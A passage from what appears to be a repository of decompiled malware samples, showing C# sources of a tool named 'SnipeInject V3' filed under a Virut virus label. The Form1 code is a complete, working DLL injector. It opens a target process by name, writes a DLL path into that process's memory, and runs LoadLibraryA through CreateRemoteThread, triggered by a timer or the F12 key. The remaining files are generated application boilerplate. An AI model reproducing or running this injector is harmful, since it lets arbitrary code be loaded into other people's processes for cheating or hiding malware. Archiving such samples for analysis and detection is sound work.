[DebuggerNonUserCode, MethodImpl(MethodImplOptions.Synchronized)] set
{
EventHandler eventHandler = new EventHandler(this.Button2_Click);
if (this._Button2 != null)
this._Button2.Click -= eventHandler;
this._Button2 = value;
if (this._Button2 == null)
return;
this._Button2.Click += eventHandler;
}
}
internal virtual Button Button3
{
[DebuggerNonUserCode] get => this._Button3;
[DebuggerNonUserCode, MethodImpl(MethodImplOptions.Synchronized)] set
{
EventHandler eventHandler = new EventHandler(this.Button3_Click);
if (this._Button3 != null)
this._Button3.Click -= eventHandler;
this._Button3 = value;
if (this._Button3 == null)
return;
this._Button3.Click += eventHandler;
}
}
internal virtual Button Button4
{
[DebuggerNonUserCode] get => this._Button4;
[DebuggerNonUserCode, MethodImpl(MethodImplOptions.Synchronized)] set
{
EventHandler eventHandler = new EventHandler(this.Button4_Click);
if (this._Button4 != null)
this._Button4.Click -= eventHandler;
this._Button4 = value;
if (this._Button4 == null)
return;
this._Button4.Click += eventHandler;
}
}
internal virtual GroupBox GroupBox1
{
[DebuggerNonUserCode] get => this._GroupBox1;
[DebuggerNonUserCode, MethodImpl(MethodImplOptions.Synchronized)] set => this._GroupBox1 = value;
}
internal virtual GroupBox GroupBox2
{
[DebuggerNonUserCode] get => this._GroupBox2;
[DebuggerNonUserCode, MethodImpl(MethodImplOptions.Synchronized)] set => this._GroupBox2 = value;
}
internal virtual Label Label6
{
[DebuggerNonUserCode] get => this._Label6;
[DebuggerNonUserCode, MethodImpl(MethodImplOptions.Synchronized)] set => this._Label6 = value;
}
internal virtual Label Label1
{
[DebuggerNonUserCode] get => this._Label1;
[DebuggerNonUserCode, MethodImpl(MethodImplOptions.Synchronized)] set => this._Label1 = value;
}
[DllImport("kernel32", CharSet = CharSet.Ansi, SetLastError = true)]
public static extern int ReadProcessMemory(
int hProcess,
int lpBaseAddress,
[MarshalAs(UnmanagedType.VBByRefStr)] ref string lpBuffer,
int nSize,
ref int lpNumberOfBytesWritten);
[DllImport("kernel32", EntryPoint = "LoadLibraryA", CharSet = CharSet.Ansi, SetLastError = true)]
public static extern int LoadLibrary([MarshalAs(UnmanagedType.VBByRefStr)] ref string lpLibFileName);
[DllImport("kernel32", CharSet = CharSet.Ansi, SetLastError = true)]
public static extern int VirtualAllocEx(
int hProcess,
int lpAddress,
int dwSize,
int flAllocationType,
int flProtect);
[DllImport("kernel32", CharSet = CharSet.Ansi, SetLastError = true)]
public static extern int WriteProcessMemory(
int hProcess,
int lpBaseAddress,
[MarshalAs(UnmanagedType.VBByRefStr)] ref string lpBuffer,
int nSize,
ref int lpNumberOfBytesWritten);
[DllImport("kernel32", CharSet = CharSet.Ansi, SetLastError = true)]
public static extern int GetProcAddress(int hModule, [MarshalAs(UnmanagedType.VBByRefStr)] ref string lpProcName);
[DllImport("Kernel32", EntryPoint = "GetModuleHandleA", CharSet = CharSet.Ansi, SetLastError = true)]
private static extern int GetModuleHandle([MarshalAs(UnmanagedType.VBByRefStr)] ref string lpModuleName);
[DllImport("kernel32", CharSet = CharSet.Ansi, SetLastError = true)]
public static extern int CreateRemoteThread(
int hProcess,
int lpThreadAttributes,
int dwStackSize,
int lpStartAddress,
int lpParameter,
int dwCreationFlags,
ref int lpThreadId);
[DllImport("kernel32", CharSet = CharSet.Ansi, SetLastError = true)]
public static extern int OpenProcess(int dwDesiredAccess, int bInheritHandle, int dwProcessId);
[DllImport("user32", EntryPoint = "FindWindowA", CharSet = CharSet.Ansi, SetLastError = true)]
private static extern int FindWindow([MarshalAs(UnmanagedType.VBByRefStr)] ref string lpClassName, [MarshalAs(UnmanagedType.VBByRefStr)] ref string lpWindowName);
[DllImport("kernel32", EntryPoint = "CloseHandleA", CharSet = CharSet.Ansi, SetLastError = true)]
private static extern int CloseHandle(int hObject);
private void Inject()
{
int num1;
int lErl;
int num2;
try
{
ProjectData.ClearProjectError();
num1 = 2;
this.Timer1.Stop();
this.TargetProcessHandle = Form1.OpenProcess(42, 0, Process.GetProcessesByName(this.TextBox1.Text)[0].Id);
this.pszLibFileRemote = this.OpenFileDialog1.FileName;
string lpModuleName = "Kernel32";
int moduleHandle = Form1.GetModuleHandle(ref lpModuleName);
string str = "LoadLibraryA";
ref string local1 = ref str;
this.pfnStartAddr = Form1.GetProcAddress(moduleHandle, ref local1);
this.TargetBufferSize = checked (1 + Strings.Len(this.pszLibFileRemote));
int num3 = Form1.VirtualAllocEx(this.TargetProcessHandle, 0, this.TargetBufferSize, 4096, 4);
int targetProcessHandle1 = this.TargetProcessHandle;
int lpBaseAddress = num3;
ref string local2 = ref this.pszLibFileRemote;
int targetBufferSize = this.TargetBufferSize;
int num4 = 0;
ref int local3 = ref num4;
Form1.WriteProcessMemory(targetProcessHandle1, lpBaseAddress, ref local2, targetBufferSize, ref local3);
int targetProcessHandle2 = this.TargetProcessHandle;
int pfnStartAddr = this.pfnStartAddr;
int lpParameter = num3;
int num5 = 0;
ref int local4 = ref num5;
Form1.CreateRemoteThread(targetProcessHandle2, 0, 0, pfnStartAddr, lpParameter, 0, ref local4);
Form1.CloseHandle(this.TargetProcessHandle);
label_2:
lErl = 1;
this.Show();
goto label_8;
label_3:
num2 = -1;
switch (num1)
{
case 2:
goto label_2;
}
}
catch (Exception ex) when (ex is Exception & num1 != 0 & num2 == 0)
{
ProjectData.SetProjectError(ex, lErl);
goto label_3;
}
throw ProjectData.CreateProjectError(-2146828237);
label_8:
if (num2 == 0)
return;
ProjectData.ClearProjectError();
}
private void OpenFileDialog1_FileOk(object sender, CancelEventArgs e)
{
}
private void Form1_Load(object sender, EventArgs e)
{
this.Button1.Text = "Browse";
this.Label1.Text = "Process";
this.Timer1.Interval = 50;
this.Timer1.Start();
}
private void Timer1_Tick(object sender, EventArgs e)
{
if (!File.Exists(this.OpenFileDialog1.FileName))
return;
if (Process.GetProcessesByName(this.TextBox1.Text).Length == 0)
{
this.Label1.Text = "Waiting For " + this.TextBox1.Text + ".exe...";
}
else
{
this.Timer1.Stop();
this.Label1.Text = "Succefully Injected!";
this.Inject();
if (this.CheckBox1.Checked)
this.Close();
}
}
private void Button3_Click(object sender, EventArgs e)
{
int index = checked (this.Dlls.SelectedItems.Count - 1);
while (index >= 0)
{
this.Dlls.Items.Remove(RuntimeHelpers.GetObjectValue(this.Dlls.SelectedItems[index]));
checked { index += -1; }
}
}
private void Button2_Click(object sender, EventArgs e) => this.Dlls.Items.Clear();
private void Button1_Click(object sender, EventArgs e)
{
this.OpenFileDialog1.Filter = "DLL (*.dll) |*.dll|(*.*) |*.*";
int num = (int) this.OpenFileDialog1.ShowDialog();
this.Dlls.Items.Add((object) this.OpenFileDialog1.FileName.Substring(this.OpenFileDialog1.FileName.LastIndexOf("\\")).Replace("\\", ""));
}
private void Button4_Click(object sender, EventArgs e)
{
if (!File.Exists(this.OpenFileDialog1.FileName))
return;
if (Process.GetProcessesByName(this.TextBox1.Text).Length == 0)
{
this.Label1.Text = "Waiting for " + this.TextBox1.Text + ".exe Injekcjia(F12)...";
}
else
{
this.Timer1.Stop();
this.Label1.Text = "Pomyslna Injekcjia!";
this.Inject();
if (this.CheckBox1.Checked)
this.Close();
}
}
private void CheckBox2_CheckedChanged(object sender, EventArgs e)
{
this.Button4.Enabled = false;
this.Timer1.Enabled = true;
}
private void CheckBox3_CheckedChanged(object sender, EventArgs e)
{
this.Button4.Enabled = true;
this.Timer1.Enabled = false;
}
private short GetAsyncKeyState(int vKey)
{
if (this.GetAsyncKeyState(123) != (short) 0 && File.Exists(this.OpenFileDialog1.FileName))
{
if (Process.GetProcessesByName(this.TextBox1.Text).Length == 0)
{
this.Label1.Text = "Waiting for " + this.TextBox1.Text + ".exe Injekcjia(F12)...";
}
else
{
this.Timer1.Stop();
this.Label1.Text = "Succefully Injected!";
this.Inject();
}
}
short asyncKeyState;
return asyncKeyState;
}
}
}
MSIL/Virus/Win32/V/Virus.Win32.Virut.ce-b22de4b82be7b4258a77c2a7e06a62fdba63fc55c228d9fb47aca9d3d83142fb/Form1.resx
+126
View File
File diff suppressed because one or more lines are too long
MSIL/Virus/Win32/V/Virus.Win32.Virut.ce-b22de4b82be7b4258a77c2a7e06a62fdba63fc55c228d9fb47aca9d3d83142fb/My/InternalXmlHelper.cs
+214
View File
@@ -0,0 +1,214 @@
// Decompiled with JetBrains decompiler
// Type: SnipeInject_V3.My.InternalXmlHelper
// Assembly: SnipeInject V3, Version=1.0.0.0, Culture=neutral, PublicKeyToken=null
// MVID: 4B17C691-AC0C-43B1-A878-F82F3184CC13
// Assembly location: C:\Users\Administrateur\Downloads\Virusshare-00001-msil\Virus.Win32.Virut.ce-b22de4b82be7b4258a77c2a7e06a62fdba63fc55c228d9fb47aca9d3d83142fb.exe
using System;
using System.Collections;
using System.Collections.Generic;
using System.ComponentModel;
using System.Diagnostics;
using System.Linq;
using System.Runtime.CompilerServices;
using System.Xml.Linq;
namespace SnipeInject_V3.My
{
[CompilerGenerated]
[EditorBrowsable(EditorBrowsableState.Never)]
[DebuggerNonUserCode]
internal sealed class InternalXmlHelper
{
[EditorBrowsable(EditorBrowsableState.Never)]
private InternalXmlHelper()
{
}
public static string get_Value(IEnumerable<XElement> source)
{
IEnumerator<XElement> enumerator;
try
{
enumerator = source.GetEnumerator();
if (enumerator.MoveNext())
return enumerator.Current.Value;
}
finally
{
enumerator?.Dispose();
}
return (string) null;
}
public static void set_Value(IEnumerable<XElement> source, string value)
{
IEnumerator<XElement> enumerator;
try
{
enumerator = source.GetEnumerator();
if (!enumerator.MoveNext())
return;
enumerator.Current.Value = value;
}
finally
{
enumerator?.Dispose();
}
}
public static string get_AttributeValue(IEnumerable<XElement> source, XName name)
{
IEnumerator<XElement> enumerator;
try
{
enumerator = source.GetEnumerator();
if (enumerator.MoveNext())
return (string) enumerator.Current.Attribute(name);
}
finally
{
enumerator?.Dispose();
}
return (string) null;
}
public static void set_AttributeValue(IEnumerable<XElement> source, XName name, string value)
{
IEnumerator<XElement> enumerator;
try
{
enumerator = source.GetEnumerator();
if (!enumerator.MoveNext())
return;
enumerator.Current.SetAttributeValue(name, (object) value);
}
finally
{
enumerator?.Dispose();
}
}
public static string get_AttributeValue(XElement source, XName name) => (string) source.Attribute(name);
public static void set_AttributeValue(XElement source, XName name, string value) => source.SetAttributeValue(name, (object) value);
[EditorBrowsable(EditorBrowsableState.Never)]
public static XAttribute CreateAttribute(XName name, object value) => value == null ? (XAttribute) null : new XAttribute(name, RuntimeHelpers.GetObjectValue(value));
[EditorBrowsable(EditorBrowsableState.Never)]
public static XAttribute CreateNamespaceAttribute(XName name, XNamespace ns)
{
XAttribute namespaceAttribute = new XAttribute(name, (object) ns.NamespaceName);
namespaceAttribute.AddAnnotation((object) ns);
return namespaceAttribute;
}
[EditorBrowsable(EditorBrowsableState.Never)]
public static object RemoveNamespaceAttributes(
string[] inScopePrefixes,
XNamespace[] inScopeNs,
List<XAttribute> attributes,
object obj)
{
switch (obj)
{
case XElement e:
// ISSUE: reference to a compiler-generated method
return (object) InternalXmlHelper.RemoveNamespaceAttributes(inScopePrefixes, inScopeNs, attributes, e);
case IEnumerable enumerable:
// ISSUE: reference to a compiler-generated method
return (object) InternalXmlHelper.RemoveNamespaceAttributes(inScopePrefixes, inScopeNs, attributes, enumerable);
default:
return obj;
}
}
[EditorBrowsable(EditorBrowsableState.Never)]
public static IEnumerable RemoveNamespaceAttributes(
string[] inScopePrefixes,
XNamespace[] inScopeNs,
List<XAttribute> attributes,
IEnumerable obj)
{
if (obj == null)
return obj;
// ISSUE: object of a compiler-generated type is created
// ISSUE: reference to a compiler-generated method
// ISSUE: object of a compiler-generated type is created
// ISSUE: reference to a compiler-generated method
return obj is IEnumerable<XElement> source ? (IEnumerable) source.Select<XElement, XElement>(new Func<XElement, XElement>(new InternalXmlHelper.RemoveNamespaceAttributesClosure(inScopePrefixes, inScopeNs, attributes).ProcessXElement)) : (IEnumerable) obj.Cast<object>().Select<object, object>(new Func<object, object>(new InternalXmlHelper.RemoveNamespaceAttributesClosure(inScopePrefixes, inScopeNs, attributes).ProcessObject));
}
[EditorBrowsable(EditorBrowsableState.Never)]
public static XElement RemoveNamespaceAttributes(
string[] inScopePrefixes,
XNamespace[] inScopeNs,
List<XAttribute> attributes,
XElement e)
{
XAttribute nextAttribute;
if (e != null)
{
for (XAttribute xattribute = e.FirstAttribute; xattribute != null; xattribute = nextAttribute)
{
nextAttribute = xattribute.NextAttribute;
if (xattribute.IsNamespaceDeclaration)
{
XNamespace xnamespace1 = xattribute.Annotation<XNamespace>();
string localName1 = xattribute.Name.LocalName;
if ((object) xnamespace1 != null)
{
if (inScopePrefixes != null && inScopeNs != null)
{
int num = checked (inScopePrefixes.Length - 1);
int index = 0;
while (index <= num)
{
string inScopePrefix = inScopePrefixes[index];
XNamespace inScopeN = inScopeNs[index];
if (localName1.Equals(inScopePrefix))
{
if (xnamespace1 == inScopeN)
xattribute.Remove();
xattribute = (XAttribute) null;
break;
}
checked { ++index; }
}
}
if (xattribute != null)
{
if (attributes != null)
{
int num = checked (attributes.Count - 1);
int index = 0;
while (index <= num)
{
XAttribute attribute = attributes[index];
string localName2 = attribute.Name.LocalName;
XNamespace xnamespace2 = attribute.Annotation<XNamespace>();
if ((object) xnamespace2 != null && localName1.Equals(localName2))
{
if (xnamespace1 == xnamespace2)
xattribute.Remove();
xattribute = (XAttribute) null;
break;
}
checked { ++index; }
}
}
if (xattribute != null)
{
xattribute.Remove();
attributes.Add(xattribute);
}
}
}
}
}
}
return e;
}
}
}
MSIL/Virus/Win32/V/Virus.Win32.Virut.ce-b22de4b82be7b4258a77c2a7e06a62fdba63fc55c228d9fb47aca9d3d83142fb/My/MyApplication.cs
+86
View File
@@ -0,0 +1,86 @@
// Decompiled with JetBrains decompiler
// Type: SnipeInject_V3.My.MyApplication
// Assembly: SnipeInject V3, Version=1.0.0.0, Culture=neutral, PublicKeyToken=null
// MVID: 4B17C691-AC0C-43B1-A878-F82F3184CC13
// Assembly location: C:\Users\Administrateur\Downloads\Virusshare-00001-msil\Virus.Win32.Virut.ce-b22de4b82be7b4258a77c2a7e06a62fdba63fc55c228d9fb47aca9d3d83142fb.exe
using Microsoft.VisualBasic.ApplicationServices;
using System;
using System.CodeDom.Compiler;
using System.Collections.Generic;
using System.ComponentModel;
using System.Diagnostics;
using System.Runtime.CompilerServices;
using System.Windows.Forms;
namespace SnipeInject_V3.My
{
[EditorBrowsable(EditorBrowsableState.Never)]
[GeneratedCode("MyTemplate", "10.0.0.0")]
internal class MyApplication : WindowsFormsApplicationBase
{
private static List<WeakReference> __ENCList = new List<WeakReference>();
[DebuggerNonUserCode]
static MyApplication()
{
}
[DebuggerNonUserCode]
private static void __ENCAddToList(object value)
{
lock (MyApplication.__ENCList)
{
if (MyApplication.__ENCList.Count == MyApplication.__ENCList.Capacity)
{
int index1 = 0;
int num = checked (MyApplication.__ENCList.Count - 1);
int index2 = 0;
while (index2 <= num)
{
if (MyApplication.__ENCList[index2].IsAlive)
{
if (index2 != index1)
MyApplication.__ENCList[index1] = MyApplication.__ENCList[index2];
checked { ++index1; }
}
checked { ++index2; }
}
MyApplication.__ENCList.RemoveRange(index1, checked (MyApplication.__ENCList.Count - index1));
MyApplication.__ENCList.Capacity = MyApplication.__ENCList.Count;
}
MyApplication.__ENCList.Add(new WeakReference(RuntimeHelpers.GetObjectValue(value)));
}
}
[STAThread]
[EditorBrowsable(EditorBrowsableState.Advanced)]
[DebuggerHidden]
[MethodImpl(MethodImplOptions.NoInlining | MethodImplOptions.NoOptimization)]
internal static void Main(string[] Args)
{
try
{
Application.SetCompatibleTextRenderingDefault(WindowsFormsApplicationBase.UseCompatibleTextRendering);
}
finally
{
}
MyProject.Application.Run(Args);
}
[DebuggerStepThrough]
public MyApplication()
: base(AuthenticationMode.Windows)
{
MyApplication.__ENCAddToList((object) this);
this.IsSingleInstance = false;
this.EnableVisualStyles = true;
this.SaveMySettingsOnExit = true;
this.ShutdownStyle = ShutdownMode.AfterMainFormCloses;
}
[DebuggerStepThrough]
protected override void OnCreateMainForm() => this.MainForm = (Form) MyProject.Forms.Form1;
}
}
MSIL/Virus/Win32/V/Virus.Win32.Virut.ce-b22de4b82be7b4258a77c2a7e06a62fdba63fc55c228d9fb47aca9d3d83142fb/My/MyComputer.cs
+24
View File
@@ -0,0 +1,24 @@
// Decompiled with JetBrains decompiler
// Type: SnipeInject_V3.My.MyComputer
// Assembly: SnipeInject V3, Version=1.0.0.0, Culture=neutral, PublicKeyToken=null
// MVID: 4B17C691-AC0C-43B1-A878-F82F3184CC13
// Assembly location: C:\Users\Administrateur\Downloads\Virusshare-00001-msil\Virus.Win32.Virut.ce-b22de4b82be7b4258a77c2a7e06a62fdba63fc55c228d9fb47aca9d3d83142fb.exe
using Microsoft.VisualBasic.Devices;
using System.CodeDom.Compiler;
using System.ComponentModel;
using System.Diagnostics;
namespace SnipeInject_V3.My
{
[GeneratedCode("MyTemplate", "10.0.0.0")]
[EditorBrowsable(EditorBrowsableState.Never)]
internal class MyComputer : Computer
{
[DebuggerHidden]
[EditorBrowsable(EditorBrowsableState.Never)]
public MyComputer()
{
}
}
}
MSIL/Virus/Win32/V/Virus.Win32.Virut.ce-b22de4b82be7b4258a77c2a7e06a62fdba63fc55c228d9fb47aca9d3d83142fb/My/MyProject.cs
+212
View File
@@ -0,0 +1,212 @@
// Decompiled with JetBrains decompiler
// Type: SnipeInject_V3.My.MyProject
// Assembly: SnipeInject V3, Version=1.0.0.0, Culture=neutral, PublicKeyToken=null
// MVID: 4B17C691-AC0C-43B1-A878-F82F3184CC13
// Assembly location: C:\Users\Administrateur\Downloads\Virusshare-00001-msil\Virus.Win32.Virut.ce-b22de4b82be7b4258a77c2a7e06a62fdba63fc55c228d9fb47aca9d3d83142fb.exe
using Microsoft.VisualBasic;
using Microsoft.VisualBasic.ApplicationServices;
using Microsoft.VisualBasic.CompilerServices;
using System;
using System.CodeDom.Compiler;
using System.Collections;
using System.ComponentModel;
using System.ComponentModel.Design;
using System.Diagnostics;
using System.Reflection;
using System.Runtime.CompilerServices;
using System.Runtime.InteropServices;
using System.Windows.Forms;
namespace SnipeInject_V3.My
{
[StandardModule]
[GeneratedCode("MyTemplate", "10.0.0.0")]
[HideModuleName]
internal sealed class MyProject
{
private static readonly MyProject.ThreadSafeObjectProvider<MyComputer> m_ComputerObjectProvider = new MyProject.ThreadSafeObjectProvider<MyComputer>();
private static readonly MyProject.ThreadSafeObjectProvider<MyApplication> m_AppObjectProvider = new MyProject.ThreadSafeObjectProvider<MyApplication>();
private static readonly MyProject.ThreadSafeObjectProvider<User> m_UserObjectProvider = new MyProject.ThreadSafeObjectProvider<User>();
private static MyProject.ThreadSafeObjectProvider<MyProject.MyForms> m_MyFormsObjectProvider = new MyProject.ThreadSafeObjectProvider<MyProject.MyForms>();
private static readonly MyProject.ThreadSafeObjectProvider<MyProject.MyWebServices> m_MyWebServicesObjectProvider = new MyProject.ThreadSafeObjectProvider<MyProject.MyWebServices>();
[DebuggerNonUserCode]
static MyProject()
{
}
[HelpKeyword("My.Computer")]
internal static MyComputer Computer
{
[DebuggerHidden] get => MyProject.m_ComputerObjectProvider.GetInstance;
}
[HelpKeyword("My.Application")]
internal static MyApplication Application
{
[DebuggerHidden] get => MyProject.m_AppObjectProvider.GetInstance;
}
[HelpKeyword("My.User")]
internal static User User
{
[DebuggerHidden] get => MyProject.m_UserObjectProvider.GetInstance;
}
[HelpKeyword("My.Forms")]
internal static MyProject.MyForms Forms
{
[DebuggerHidden] get => MyProject.m_MyFormsObjectProvider.GetInstance;
}
[HelpKeyword("My.WebServices")]
internal static MyProject.MyWebServices WebServices
{
[DebuggerHidden] get => MyProject.m_MyWebServicesObjectProvider.GetInstance;
}
[EditorBrowsable(EditorBrowsableState.Never)]
[MyGroupCollection("System.Windows.Forms.Form", "Create__Instance__", "Dispose__Instance__", "My.MyProject.Forms")]
internal sealed class MyForms
{
public Form1 m_Form1;
[ThreadStatic]
private static Hashtable m_FormBeingCreated;
public Form1 Form1
{
[DebuggerNonUserCode] get
{
this.m_Form1 = MyProject.MyForms.Create__Instance__<Form1>(this.m_Form1);
return this.m_Form1;
}
[DebuggerNonUserCode] set
{
if (value == this.m_Form1)
return;
if (value != null)
throw new ArgumentException("Property can only be set to Nothing");
this.Dispose__Instance__<Form1>(ref this.m_Form1);
}
}
[DebuggerHidden]
private static T Create__Instance__<T>(T Instance) where T : Form, new()
{
if ((object) Instance != null && !Instance.IsDisposed)
return Instance;
if (MyProject.MyForms.m_FormBeingCreated != null)
{
if (MyProject.MyForms.m_FormBeingCreated.ContainsKey((object) typeof (T)))
throw new InvalidOperationException(Utils.GetResourceString("WinForms_RecursiveFormCreate"));
}
else
MyProject.MyForms.m_FormBeingCreated = new Hashtable();
MyProject.MyForms.m_FormBeingCreated.Add((object) typeof (T), (object) null);
try
{
return new T();
}
catch (TargetInvocationException ex) when (
{
// ISSUE: unable to correctly present filter
ProjectData.SetProjectError((Exception) ex);
if (ex.InnerException != null)
{
SuccessfulFiltering;
}
else
throw;
}
)
{
throw new InvalidOperationException(Utils.GetResourceString("WinForms_SeeInnerException", ex.InnerException.Message), ex.InnerException);
}
finally
{
MyProject.MyForms.m_FormBeingCreated.Remove((object) typeof (T));
}
}
[DebuggerHidden]
private void Dispose__Instance__<T>(ref T instance) where T : Form
{
instance.Dispose();
instance = default (T);
}
[DebuggerHidden]
[EditorBrowsable(EditorBrowsableState.Never)]
public MyForms()
{
}
[EditorBrowsable(EditorBrowsableState.Never)]
public override bool Equals(object o) => base.Equals(RuntimeHelpers.GetObjectValue(o));
[EditorBrowsable(EditorBrowsableState.Never)]
public override int GetHashCode() => base.GetHashCode();
[EditorBrowsable(EditorBrowsableState.Never)]
internal new System.Type GetType() => typeof (MyProject.MyForms);
[EditorBrowsable(EditorBrowsableState.Never)]
public override string ToString() => base.ToString();
}
[EditorBrowsable(EditorBrowsableState.Never)]
[MyGroupCollection("System.Web.Services.Protocols.SoapHttpClientProtocol", "Create__Instance__", "Dispose__Instance__", "")]
internal sealed class MyWebServices
{
[DebuggerHidden]
[EditorBrowsable(EditorBrowsableState.Never)]
public override bool Equals(object o) => base.Equals(RuntimeHelpers.GetObjectValue(o));
[DebuggerHidden]
[EditorBrowsable(EditorBrowsableState.Never)]
public override int GetHashCode() => base.GetHashCode();
[DebuggerHidden]
[EditorBrowsable(EditorBrowsableState.Never)]
internal new System.Type GetType() => typeof (MyProject.MyWebServices);
[DebuggerHidden]
[EditorBrowsable(EditorBrowsableState.Never)]
public override string ToString() => base.ToString();
[DebuggerHidden]
private static T Create__Instance__<T>(T instance) where T : new() => (object) instance == null ? new T() : instance;
[DebuggerHidden]
private void Dispose__Instance__<T>(ref T instance) => instance = default (T);
[EditorBrowsable(EditorBrowsableState.Never)]
[DebuggerHidden]
public MyWebServices()
{
}
}
[EditorBrowsable(EditorBrowsableState.Never)]
[ComVisible(false)]
internal sealed class ThreadSafeObjectProvider<T> where T : new()
{
internal T GetInstance
{
[DebuggerHidden] get
{
if ((object) MyProject.ThreadSafeObjectProvider<T>.m_ThreadStaticValue == null)
MyProject.ThreadSafeObjectProvider<T>.m_ThreadStaticValue = new T();
return MyProject.ThreadSafeObjectProvider<T>.m_ThreadStaticValue;
}
}
[EditorBrowsable(EditorBrowsableState.Never)]
[DebuggerHidden]
public ThreadSafeObjectProvider()
{
}
}
}
}
MSIL/Virus/Win32/V/Virus.Win32.Virut.ce-b22de4b82be7b4258a77c2a7e06a62fdba63fc55c228d9fb47aca9d3d83142fb/My/MySettings.cs
+76
View File
@@ -0,0 +1,76 @@
// Decompiled with JetBrains decompiler
// Type: SnipeInject_V3.My.MySettings
// Assembly: SnipeInject V3, Version=1.0.0.0, Culture=neutral, PublicKeyToken=null
// MVID: 4B17C691-AC0C-43B1-A878-F82F3184CC13
// Assembly location: C:\Users\Administrateur\Downloads\Virusshare-00001-msil\Virus.Win32.Virut.ce-b22de4b82be7b4258a77c2a7e06a62fdba63fc55c228d9fb47aca9d3d83142fb.exe
using Microsoft.VisualBasic.ApplicationServices;
using Microsoft.VisualBasic.CompilerServices;
using System;
using System.CodeDom.Compiler;
using System.ComponentModel;
using System.Configuration;
using System.Diagnostics;
using System.Runtime.CompilerServices;
using System.Threading;
namespace SnipeInject_V3.My
{
[EditorBrowsable(EditorBrowsableState.Advanced)]
[CompilerGenerated]
[GeneratedCode("Microsoft.VisualStudio.Editors.SettingsDesigner.SettingsSingleFileGenerator", "10.0.0.0")]
internal sealed class MySettings : ApplicationSettingsBase
{
private static MySettings defaultInstance = (MySettings) SettingsBase.Synchronized((SettingsBase) new MySettings());
private static bool addedHandler;
private static object addedHandlerLockObject = RuntimeHelpers.GetObjectValue(new object());
[DebuggerNonUserCode]
public MySettings()
{
}
[EditorBrowsable(EditorBrowsableState.Advanced)]
[DebuggerNonUserCode]
private static void AutoSaveSettings(object sender, EventArgs e)
{
if (!MyProject.Application.SaveMySettingsOnExit)
return;
MySettingsProperty.Settings.Save();
}
public static MySettings Default
{
get
{
if (!MySettings.addedHandler)
{
object handlerLockObject = MySettings.addedHandlerLockObject;
ObjectFlowControl.CheckForSyncLockOnValueType(handlerLockObject);
bool lockTaken = false;
try
{
Monitor.Enter(handlerLockObject, ref lockTaken);
if (!MySettings.addedHandler)
{
MyProject.Application.Shutdown += (ShutdownEventHandler) ((sender, e) =>
{
if (!MyProject.Application.SaveMySettingsOnExit)
return;
MySettingsProperty.Settings.Save();
});
MySettings.addedHandler = true;
}
}
finally
{
if (lockTaken)
Monitor.Exit(handlerLockObject);
}
}
MySettings defaultInstance = MySettings.defaultInstance;
return defaultInstance;
}
}
}
}
MSIL/Virus/Win32/V/Virus.Win32.Virut.ce-b22de4b82be7b4258a77c2a7e06a62fdba63fc55c228d9fb47aca9d3d83142fb/My/MySettingsProperty.cs
+31
View File
@@ -0,0 +1,31 @@
// Decompiled with JetBrains decompiler
// Type: SnipeInject_V3.My.MySettingsProperty
// Assembly: SnipeInject V3, Version=1.0.0.0, Culture=neutral, PublicKeyToken=null
// MVID: 4B17C691-AC0C-43B1-A878-F82F3184CC13
// Assembly location: C:\Users\Administrateur\Downloads\Virusshare-00001-msil\Virus.Win32.Virut.ce-b22de4b82be7b4258a77c2a7e06a62fdba63fc55c228d9fb47aca9d3d83142fb.exe
using Microsoft.VisualBasic;
using Microsoft.VisualBasic.CompilerServices;
using System.ComponentModel.Design;
using System.Diagnostics;
using System.Runtime.CompilerServices;
namespace SnipeInject_V3.My
{
[HideModuleName]
[CompilerGenerated]
[DebuggerNonUserCode]
[StandardModule]
internal sealed class MySettingsProperty
{
[HelpKeyword("My.Settings")]
internal static MySettings Settings
{
get
{
MySettings settings = MySettings.Default;
return settings;
}
}
}
}
MSIL/Virus/Win32/V/Virus.Win32.Virut.ce-b22de4b82be7b4258a77c2a7e06a62fdba63fc55c228d9fb47aca9d3d83142fb/My/Resources/Resources.cs
+46
View File
@@ -0,0 +1,46 @@
// Decompiled with JetBrains decompiler
// Type: SnipeInject_V3.My.Resources.Resources
// Assembly: SnipeInject V3, Version=1.0.0.0, Culture=neutral, PublicKeyToken=null
// MVID: 4B17C691-AC0C-43B1-A878-F82F3184CC13
// Assembly location: C:\Users\Administrateur\Downloads\Virusshare-00001-msil\Virus.Win32.Virut.ce-b22de4b82be7b4258a77c2a7e06a62fdba63fc55c228d9fb47aca9d3d83142fb.exe
using Microsoft.VisualBasic;
using Microsoft.VisualBasic.CompilerServices;
using System.CodeDom.Compiler;
using System.ComponentModel;
using System.Diagnostics;
using System.Globalization;
using System.Resources;
using System.Runtime.CompilerServices;
namespace SnipeInject_V3.My.Resources
{
[DebuggerNonUserCode]
[HideModuleName]
[GeneratedCode("System.Resources.Tools.StronglyTypedResourceBuilder", "4.0.0.0")]
[CompilerGenerated]
[StandardModule]
internal sealed class Resources
{
private static ResourceManager resourceMan;
private static CultureInfo resourceCulture;
[EditorBrowsable(EditorBrowsableState.Advanced)]
internal static ResourceManager ResourceManager
{
get
{
if (object.ReferenceEquals((object) SnipeInject_V3.My.Resources.Resources.resourceMan, (object) null))
SnipeInject_V3.My.Resources.Resources.resourceMan = new ResourceManager("SnipeInject_V3.Resources", typeof (SnipeInject_V3.My.Resources.Resources).Assembly);
return SnipeInject_V3.My.Resources.Resources.resourceMan;
}
}
[EditorBrowsable(EditorBrowsableState.Advanced)]
internal static CultureInfo Culture
{
get => SnipeInject_V3.My.Resources.Resources.resourceCulture;
set => SnipeInject_V3.My.Resources.Resources.resourceCulture = value;
}
}
}
MSIL/Virus/Win32/V/Virus.Win32.Virut.ce-b22de4b82be7b4258a77c2a7e06a62fdba63fc55c228d9fb47aca9d3d83142fb/Resources.resx
+120
View File
@@ -0,0 +1,120 @@
<?xml version="1.0" encoding="utf-8"?>
<root>
<!--
Microsoft ResX Schema
Version 2.0
The primary goals of this format is to allow a simple XML format
that is mostly human readable. The generation and parsing of the
various data types are done through the TypeConverter classes
associated with the data types.
Example:
... ado.net/XML headers & schema ...
<resheader name="resmimetype">text/microsoft-resx</resheader>
<resheader name="version">2.0</resheader>
<resheader name="reader">System.Resources.ResXResourceReader, System.Windows.Forms, ...</resheader>
<resheader name="writer">System.Resources.ResXResourceWriter, System.Windows.Forms, ...</resheader>
<data name="Name1"><value>this is my long string</value><comment>this is a comment</comment></data>
<data name="Color1" type="System.Drawing.Color, System.Drawing">Blue</data>
<data name="Bitmap1" mimetype="application/x-microsoft.net.object.binary.base64">
<value>[base64 mime encoded serialized .NET Framework object]</value>
</data>
<data name="Icon1" type="System.Drawing.Icon, System.Drawing" mimetype="application/x-microsoft.net.object.bytearray.base64">
<value>[base64 mime encoded string representing a byte array form of the .NET Framework object]</value>
